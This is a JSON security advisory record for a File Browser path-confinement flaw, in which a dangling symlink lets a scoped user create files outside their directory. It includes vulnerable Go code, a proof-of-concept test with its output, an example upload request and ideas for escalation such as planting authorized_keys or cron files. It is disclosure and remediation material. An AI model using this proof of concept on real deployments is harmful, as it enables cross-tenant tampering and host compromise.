{"id":"CVE-2026-55668","aliases":["GHSA-8wc8-hf36-mjh9"],"title":"File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope","summary":"File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope","severity":"medium","cvss":6.3,"cwe":["CWE-22","CWE-59"],"vendor":"filebrowser","product":"github.com/filebrowser/filebrowser/v2","ecosystem":"go","affected":["github.com/filebrowser/filebrowser/v2 <= 2.63.15"],"patched":["github.com/filebrowser/filebrowser/v2 2.63.16"],"published":"2026-07-20","updated":"2026-07-20","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8wc8-hf36-mjh9","references":[{"url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-8wc8-hf36-mjh9"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55668"},{"url":"https://github.com/filebrowser/filebrowser/commit/64511ce45e3be379e965f7f4fb0929a068d5bb81"},{"url":"https://github.com/filebrowser/filebrowser/releases/tag/v2.63.16"},{"url":"https://github.com/advisories/GHSA-8wc8-hf36-mjh9"}],"tags":["ghsa","go"],"epss":0.00378,"epssPercentile":0.31554,"ingestedAt":"2026-07-20T21:43:15.300Z","slug":"CVE-2026-55668","body":"## Overview\n\n## Summary\n\n`ScopedFs` confines every File Browser user to a scope directory. Its `within()` guard is meant to reject any operation that follows a symbolic link out of that scope. When the link target does not exist yet, the guard walks up to the nearest existing ancestor and validates that instead. For a dangling symlink (target does not exist), the nearest existing ancestor is the in-scope directory containing the link, so the guard returns \"in scope\" and the subsequent `os.OpenFile(O_CREATE)` follows the link and creates the file at its out-of-scope target.\n\nA post-auth user with `Create` and `Modify` permission can write attacker-controlled content to any non-existent path outside their scope that the File Browser process can write to. The precondition is a dangling symlink present inside the user's scope, which is the same out-of-band precondition the rest of `ScopedFs` is built to defend against.\n\nThis is a patch-gap variant of the GHSA-239w-m3h6-ch8v symlink confinement issue, not a resubmission of the already-published vulnerable-version behavior: GHSA-239w-m3h6-ch8v marks `<= 2.63.13` vulnerable and `2.63.14` patched, while this proof reproduces on current `master` / `v2.63.15` (`be23ab3a15bf957928ecfed88de5ab67850c1b9c`). The escaping-symlink-to-an-existing-target case is defended and tested. The dangling case is neither, and the gap is acknowledged in a code comment as \"best-effort\".\n\n## Root cause\n\n`files/scoped.go` (commit `be23ab3`). The guard, including the maintainer comment that already flags this exact gap:\n\n```go\n// Note: a dangling symlink whose target does not yet exist resolves to its\n// containing directory and is therefore allowed; writing through such a link\n// could still create a file outside the scope. This is treated as best-effort\n// and relies on rejecting existing escaping symlinks, which covers the\n// disclosure and overwrite vectors.\nfunc (s *ScopedFs) within(p string) (bool, error) {\n    root, err := filepath.EvalSymlinks(afero.FullBaseFsPath(s.base, \"/\"))\n    if err != nil {\n        return false, err\n    }\n\n    target := afero.FullBaseFsPath(s.base, p)\n    resolved, err := filepath.EvalSymlinks(target)\n    for errors.Is(err, fs.ErrNotExist) {\n        parent := filepath.Dir(target)   // LEXICAL parent of the link path\n        if parent == target {\n            break\n        }\n        target = parent\n        resolved, err = filepath.EvalSymlinks(target)\n    }\n    if err != nil {\n        return false, err\n    }\n    // ...\n    return resolved == root || strings.HasPrefix(resolved, prefix), nil\n}\n```\n\nWhen `p` is a symlink whose target does not exist, `EvalSymlinks(target)` returns `fs.ErrNotExist`. The loop takes the lexical parent of the link path (`filepath.Dir`), a real directory inside the scope, and `EvalSymlinks` of that resolves under the scope root. `within()` returns `true` and `guard()` permits the operation. The write then dereferences the link at the OS layer:\n\n```go\nfunc (s *ScopedFs) OpenFile(name string, flag int, perm os.FileMode) (afero.File, error) {\n    if err := s.guard(name); err != nil {   // returns nil for a dangling escaping symlink\n        return nil, err\n    }\n    return s.base.OpenFile(name, flag, perm) // os.OpenFile(O_CREATE) follows the link\n}\n```\n\nThe assumption that breaks: `within()` treats \"target does not exist\" as \"brand-new in-scope file\" and validates the containing directory. But the path component being created is itself a symlink pointing outside the scope. `O_CREATE` follows it and creates the file at the link target, not inside the validated directory. The existing-target case is correctly blocked, because the walk-up resolves the link itself to an out-of-scope path. Only the dangling case slips through.\n\nFor the layout below:\n\n```text\n/tmp/root/scope/escape -> /tmp/root/outside/created-by-http.txt\n/tmp/root/outside/                      # exists\n/tmp/root/outside/created-by-http.txt   # does not exist yet\n```\n\n`EvalSymlinks(/tmp/root/scope/escape)` returns not-exist, and the fallback validates `/tmp/root/scope`. The final `OpenFile` still follows `/tmp/root/scope/escape` and creates `/tmp/root/outside/created-by-http.txt`.\n\n## Reachability over HTTP\n\nEndpoint: `POST /api/resources/<linkname>?override=true` (also `PUT`, and `POST/PATCH /api/tus/...`). Verified trace against the audited source:\n\n1. `http/resource.go` `resourcePostHandler` requires `d.user.Perm.Create` (else 403).\n2. `files.NewFileInfo` is called. For a dangling symlink, `stat()` in `files/file.go` does `LstatIfPossible` (sees the symlink, `err == nil`, `IsSymlink = true`), then `Fs.Stat` follows the link and fails with ENOENT, so the code returns the symlink `FileInfo` with `err == nil`. The handler therefore enters the \"file exists\" branch.\n3. The branch requires `override == \"true\"` and `d.user.Perm.Modify`, then proceeds.\n4. `writeFile(d.user.Fs, r.URL.Path, r.Body, ...)` calls `afs.OpenFile(dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, fileMode)`.\n5. `ScopedFs.OpenFile` runs `guard()`, which passes for the dangling link, then `os.OpenFile` follows the link and creates the file outside the scope with the request body as content.\n\nThe TUS path (`http/tus_handlers.go` `tusPostHandler` -> `OpenFile`, then `tusPatchHandler`) reaches the same sink.\n\n### Why existing defenses do not apply\n\n- `afero.BasePathFs` lexical confinement only neutralizes `..`. A plain link name passes it unchanged.\n- `ScopedFs.within()` is the dedicated symlink defense, and it is the component that fails: the not-exist walk-up validates the link's parent directory instead of the link.\n- The project's symlink tests (`http/tus_symlink_test.go` `TestTusHandlersRejectSymlinkScopeEscape`, `files/file_test.go`) only exercise escaping symlinks whose target exists. Those are blocked. The dangling variant is never tested, so the regression suite does not catch it.\n\n## Proof of concept\n\nThe PoC drives the real security boundary, `files.NewScopedFs`, with the same flags `http.writeFile` uses, and shows the write landing outside the scope. A control test shows the existing-target case is still blocked, proving the guard is real and the gap is specifically the dangling case.\n\n```go\nconst writeFlags = os.O_RDWR | os.O_CREATE | os.O_TRUNC // == http.writeFile\n\nscope := filepath.Join(root, \"user\")      // the low-priv user's jail\noutside := filepath.Join(root, \"outside\") // sibling dir = another tenant / host path\n\n// Precondition: a dangling escaping symlink inside the scope.\nos.Symlink(filepath.Join(outside, \"pwned.txt\"), filepath.Join(scope, \"evil\")) // target does not exist yet\n\nfs := files.NewScopedFs(afero.NewOsFs(), scope)\nf, _ := fs.OpenFile(\"/evil\", writeFlags, 0o644) // not rejected\nf.WriteString(\"OWNED-OUTSIDE-SCOPE\")\n// assert: outside/pwned.txt must NOT exist\n```\n\nObserved result:\n\n```text\n=== RUN   TestDanglingSymlinkWriteEscapesScope\n    poc_test.go:49: VULNERABLE: write escaped the scope and created\n        /tmp/.../001/outside/pwned.txt with content \"OWNED-OUTSIDE-SCOPE\"\n--- FAIL: TestDanglingSymlinkWriteEscapesScope (0.00s)\n=== RUN   TestExistingTargetSymlinkIsBlocked\n    poc_test.go:78: guard correctly blocked existing-target escape: permission denied\n--- PASS: TestExistingTargetSymlinkIsBlocked (0.00s)\n```\n\nThe dangling test \"fails\" by design: the assertion fires because the file escaped. The control test passes: an `escape_link -> outside` (existing dir) write to `escape_link/injected.txt` is rejected by `OpenFile` with `permission denied` and nothing is created in `outside/`. That is exactly the scenario the project's own tests cover.\n\nEnd-to-end HTTP equivalent:\n\n```text\nPOST /api/resources/escape?override=true\nX-Auth: <token for user scoped to /tmp/root/scope with Create+Modify>\nbody: http-outside\n\n-> ScopedFs.OpenFile(\"/escape\", O_CREATE|O_TRUNC) follows the dangling link\n-> file created at the link's out-of-scope target with the request body\n```\n\nThe handler returns `200 OK`, and the outside file contains the uploaded body.\n\n## Impact\n\n- **Direct primitive (live-verified):** arbitrary file creation with attacker-controlled content at any non-existent path outside the user's scope that the File Browser process user can write to.\n- **Cross-tenant integrity (source-reasoned):** in multi-user deployments the scopes are sibling directories under one server root. A low-priv user can plant files into another user's home (a script, an HTML page later served, a config the victim trusts).\n- **Persistence / RCE on permissive deployments (source-reasoned):** creating a not-yet-existent `~/.ssh/authorized_keys` for the service account, a file under a web-served or later-executed directory, a cron or profile fragment. The official Docker image runs as non-root UID 1000, which bounds this to whatever that user owns. Bare-metal/systemd deployments that run File Browser as root raise this to host-level file write and RCE.\n- **Scope limit (honest):** this is file creation, not overwrite. Overwriting an existing out-of-scope file is genuinely blocked, because an existing target makes the link \"escaping\" and `within()` rejects it. The negative control confirms this.\n\n## Suggested remediation\n\nFor write/create/truncate operations, do not treat a dangling final symlink as safe merely because the nearest existing ancestor is inside the scope. The walk-up in `within()` should treat \"the leaf is a symlink\" as an escape candidate rather than validating its parent:\n\n- In `guard()` / `within()`, `Lstat` the target. If it is a symlink, `Readlink` it, resolve the link target lexically (join with the link's directory, `Clean`), and require that target to be within the scope root, regardless of whether it currently exists.\n- More robust: resolve path components one by one for the operation being attempted, or open the final component with `O_NOFOLLOW` (`unix.Openat(... O_NOFOLLOW)`) so creating through a symlink fails with `ELOOP`; or `fstat` the descriptor after opening and verify it resolves within the scope before writing.\n\nAdd a regression test mirroring `TestTusHandlersRejectSymlinkScopeEscape` but with a dangling target (`os.Symlink(filepath.Join(outside, \"newfile\"), ...)`), asserting both a 4xx and that no file is created outside the scope.\n\n## References\n\n- Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`.\n- Affected code: `files/scoped.go` (`ScopedFs.within`, `ScopedFs.OpenFile`, `ScopedFs.Create`), reached from `http/resource.go` (`resourcePostHandler`, `writeFile`) and `http/tus_handlers.go`.\n- Confirmed unpatched at `be23ab3a15bf957928ecfed88de5ab67850c1b9c` (`v2.63.15`).\n\n## Affected packages\n\n- `github.com/filebrowser/filebrowser/v2 <= 2.63.15`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/filebrowser/filebrowser/v2 2.63.16`","depth":"sunlit","depthScore":35,"depthScoreParts":{"impact":34.7,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}